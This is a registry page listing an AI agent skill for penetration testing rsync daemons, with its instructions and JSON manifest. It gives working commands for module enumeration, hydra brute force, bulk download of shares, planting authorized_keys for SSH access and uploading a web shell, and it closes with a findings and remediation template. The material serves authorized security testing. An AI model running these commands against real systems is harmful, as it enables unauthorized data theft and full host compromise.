Skip to content
Skillv1.0.0

pentesting-rsync

Testing rsync daemon services (default port 873) for unauthenticated module listing and access, weak/default credentials and brute force, arbitrary file read/download and write/upload (including autho

by Singtreb(0) 0 installs
Free
Sign in to install

Free account. Installing gives you the manifest plus copy-paste snippets.

See reviews

About

Imported from Singtreb/Sword-Riding (internal/tools/skills/data/network-services-pentesting/pentesting-rsync/SKILL.md). Install upstream with npx skills add Singtreb/Sword-Riding --skill pentesting-rsync. Copyright stays with the author (Apache-2.0).

Pentesting rsync (port 873)

When to Use

  • Default port 873/tcp for the rsync daemon protocol (rsync://); alternate ports such as 8730 are common on NAS devices.
  • When nmap/banner shows rsync or a connection returns an @RSYNCD: <version> banner.
  • For enumerating exposed "modules" (directory shares), assessing auth requirements, and testing read/write access.

Quick Enumeration

# Banner grab + manual module listing
nc -vn <IP> 873
# Server greets:  @RSYNCD: 31.0   -> echo same line back, then send:  #list
# Server enumerates modules, e.g.:  raidroot  USBCopy  NAS_Public  ... then @RSYNCD: EXIT

# nmap module listing
nmap -sV --script "rsync-list-modules" -p 873 <IP>

# Metasploit module listing
msfconsole -q -x 'use auxiliary/scanner/rsync/modules_list; set RHOSTS <IP>; run; exit'

# Native client listing (also IPv6 / alternate port)
rsync -av --list-only rsync://<IP>
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Critical: Checks Most Often Missed

  • Unauthenticated module access — many modules require no password and allow full read (and sometimes write). The #1 miss.
    • How to CONFIRM:
      rsync -av --list-only rsync://<IP>/<module>     # lists without prompting = no auth
      rsync -av rsync://<IP>/<module> ./loot          # downloads recursively
  • Auth-required modules revealed by the protocol — a module that responds @RSYNCD: AUTHREQD <challenge> confirms a password gate worth brute forcing.
    • How to CONFIRM: manual nc listing shows @RSYNCD: AUTHREQD ... for that module name.
  • Writable modules → key planting / file overwrite — write access lets you drop authorized_keys, cron jobs, or web shells.
    • How to CONFIRM:
      rsync -av ~/.ssh/ rsync://<IP>/<module>/<user>/.ssh    # upload authorized_keys
  • Hidden modules — some shares are not listed; test guessed names (home, backup, www, etc, share).
  • rsyncd.conf / secrets file (post-access) — secrets file points to a user:password file usable for further auth.
    • How to CONFIRM: find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \).

Workflow

Step 1: Enumerate (modules, auth requirement, version)

nc -vn <IP> 873                 # @RSYNCD banner; send back version line then #list
nmap -sV --script rsync-list-modules -p 873 <IP>
rsync -av --list-only rsync://<IP>          # list modules
rsync -av --list-only rsync://<IP>/<module> # probe a module for auth prompt

Step 2: Authenticate (anonymous, default, brute force)

# Anonymous (no creds) listing/copy
rsync -av --list-only rsync://<IP>/<module>

# With credentials (password prompt appears)
rsync -av --list-only rsync://<user>@<IP>/<module>

# Brute force a protected module
hydra -l <user> -P passwords.txt rsync://<IP>
nxc rsync <IP> -u users.txt -p passwords.txt 2>/dev/null   # if supported by your build

Step 3: Exploit / Extract (download, upload, key planting)

# Recursively download a share (preserves attributes/permissions)
rsync -av rsync://<IP>:873/<module> ./rsync_shared
rsync -av rsync://<user>@<IP>:8730/<module> ./rsync_shared

# Upload content (e.g., authorized_keys for SSH access)
rsync -av ~/.ssh/ rsync://<user>@<IP>/<home_module>/.ssh

# Drop a web shell into a writable web module
rsync -av ./shell.php rsync://<IP>/<www_module>/

Step 4: Post-access / pivot

  • If you planted authorized_keys, connect: ssh -i ~/.ssh/id_rsa <user>@<IP>.
  • Locate config/secrets for additional creds: find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \).
  • Mine downloaded backups for credentials, source code, and configuration to pivot to other services.

Key Concepts

Concept Description
rsync daemon Native rsync:// protocol on 873 exposing named "modules".
Module A directory share, optionally password-protected, defined in rsyncd.conf.
@RSYNCD handshake Server sends @RSYNCD: <ver>; client echoes it, then #list or a module name.
AUTHREQD @RSYNCD: AUTHREQD <challenge> indicates the module needs a password.
Writable module Write access enables file overwrite, key planting, and web-shell upload.
secrets file rsyncd.conf secrets file directive points to a user:pass credential file.

Tools & Systems

Tool Purpose
rsync (client) Module listing, recursive download, and upload over rsync://.
nc Manual @RSYNCD handshake, module enumeration, auth-requirement detection.
nmap NSE rsync-list-modules.
Metasploit auxiliary/scanner/rsync/modules_list.
hydra Brute force of password-protected modules.
find Post-access discovery of rsyncd.conf / rsyncd.secrets.

Common Scenarios

Scenario 1: Anonymous backup module → data exfiltration

rsync -av --list-only rsync://<IP>/backup lists files without a prompt. rsync -av rsync://<IP>/backup ./loot downloads full system backups containing /etc/shadow and SSH keys.

Scenario 2: Writable home module → SSH access

A home_user module is writable. Uploading authorized_keys via rsync -av ~/.ssh/ rsync://user@<IP>/home_user/.ssh then ssh user@<IP> yields an interactive shell.

Scenario 3: NAS on alternate port

A NAS exposes rsync on 8730. rsync -av --list-only rsync://<IP>:8730 reveals NAS_Public with read access to shared documents and stored credentials.

Output Format

## rsync Finding

**Service**: rsync daemon
**Port**: 873/tcp (protocol 31.0)
**Severity**: High
**Finding**: Unauthenticated, writable module exposing the filesystem
**Evidence**:
  - rsync-list-modules: "backup", "home_user", "www"
  - rsync -av --list-only rsync://<IP>/backup listed files with no auth
  - uploaded authorized_keys to rsync://<IP>/home_user/.ssh and obtained SSH access
**Impact**: Unauthenticated attackers can read sensitive backups and write SSH keys/web shells, leading to full host compromise.
**Recommendation**:
  1. Require authentication on every module (`auth users` + `secrets file`).
  2. Set `read only = yes` unless write is strictly needed; scope `path` tightly.
  3. Bind rsyncd to management networks / restrict by `hosts allow`, or tunnel rsync over SSH instead.

Use it

Copy one of these into your project. Installing also returns the manifest and these snippets.

yaml
targets:
  - https://api.opensmartroute.ai/api/v1/registry/singtreb-sword-riding-pentesting-rsync/manifest   # or paste the manifest below

Manifest

An Open Capability Manifest: the router reads it to know what this does, what it costs and when to pick it.

singtreb-sword-riding-pentesting-rsync.ocm.jsonjson
{
  "ocm": "1",
  "id": "singtreb-sword-riding-pentesting-rsync",
  "kind": "skill",
  "name": "pentesting-rsync",
  "description": "Testing rsync daemon services (default port 873) for unauthenticated module listing and access, weak/default credentials and brute force, arbitrary file read/download and write/upload (including authorized_keys planting), and rsyncd.conf/secrets misconfiguration during authorized engagements.",
  "publisher": "Singtreb",
  "version": "1.0.0",
  "capabilities": {
    "domains": [
      "general"
    ],
    "tags": [
      "skill-md",
      "penetration-testing",
      "network-services",
      "rsync",
      "github"
    ],
    "languages": [
      "en"
    ]
  },
  "quality_prior": 0.6,
  "examples": [
    "Testing rsync daemon services (default port 873) for unauthenticated module listing and access, weak/default credentials and brute force, arbitrary file read/download and write/upload (including authorized_keys planting), and rsyncd.conf/secrets misconfiguration during authorized engagements."
  ],
  "primary": false,
  "metadata": {
    "source": {
      "provider": "github",
      "repository": "https://github.com/Singtreb/Sword-Riding",
      "path": "internal/tools/skills/data/network-services-pentesting/pentesting-rsync/SKILL.md",
      "ref": "d377c9f69fc4dc195dbed5065a7c4ab6adb1ae9a",
      "url": "https://github.com/Singtreb/Sword-Riding/blob/d377c9f69fc4dc195dbed5065a7c4ab6adb1ae9a/internal/tools/skills/data/network-services-pentesting/pentesting-rsync/SKILL.md",
      "key": "Singtreb/Sword-Riding/internal/tools/skills/data/network-services-pentesting/pentesting-rsync/SKILL.md"
    },
    "license": "Apache-2.0"
  },
  "instructions": "# Pentesting rsync (port 873)\n\n## When to Use\n- Default port `873/tcp` for the rsync daemon protocol (`rsync://`); alternate ports such as `8730` are common on NAS devices.\n- When `nmap`/banner shows `rsync` or a connection returns an `@RSYNCD: <version>` banner.\n- For enumerating exposed \"modules\" (directory shares), assessing auth requirements, and testing read/write access.\n\n## Quick Enumeration\n```bash\n# Banner grab + manual module listing\nnc -vn <IP> 873\n# Server greets:  @RSYNCD: 31.0   -> echo same line back, then send:  #list\n# Server enumerates modules, e.g.:  raidroot  USBCopy  NAS_P",
  "cost": {
    "context_tokens": 1585
  }
}

Fetch it by URL: GET /api/v1/registry/singtreb-sword-riding-pentesting-rsync/manifest?version=1.0.0

Reviews

Star ratings from people who tried it. One review per account; edit yours any time.

No reviews yet. Install it, try it, and be the first to rate it.